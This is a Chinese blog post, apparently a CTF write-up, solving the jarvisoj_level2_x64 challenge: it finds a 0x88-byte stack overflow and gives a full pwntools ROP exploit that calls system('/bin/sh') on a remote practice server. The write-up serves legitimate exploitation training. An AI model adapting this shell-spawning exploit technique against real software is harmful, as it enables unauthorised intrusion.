PWN手的成长之路-15-jarvisoj_level2_x64

image

file:
image

checksec:
image

查看 main 函数:
image
main 函数调用了 vulnerable_fuction() 函数,并且存在 system() 函数,尝试查找是否存在 /bin/sh 字符串。

shift + F12 发现存在 /bin/sh 字符串。
image

查看vulnerable_fuction() 函数:
image
存在溢出点。

溢出大小为:0x80+8
image

因为64位与32位的程序调用有所不同,32 位的参数是直接通过栈来进行传递的,而64位的程序则是通过 rdi,rsi,rdx,rcx,r8,r9寄存器依次传递的,而多余的参数才会通过栈传递,所以我们在构造 exp 的时候,就需要多加一个 rdi 寄存器的地址。

开始编写exp:

from pwn import *
r=remote('node5.buuoj.cn',29041)
context.arch='amd64'
context.os='Linux'

binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr=0x4006B3    #ROPgadget --binary pwn | grep rdi得到的

payload=cyclic(0x80+0x8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()

得到了 flag。
image

posted @ 2025-10-12 16:05  B0rry  阅读(6)  评论(0)    收藏  举报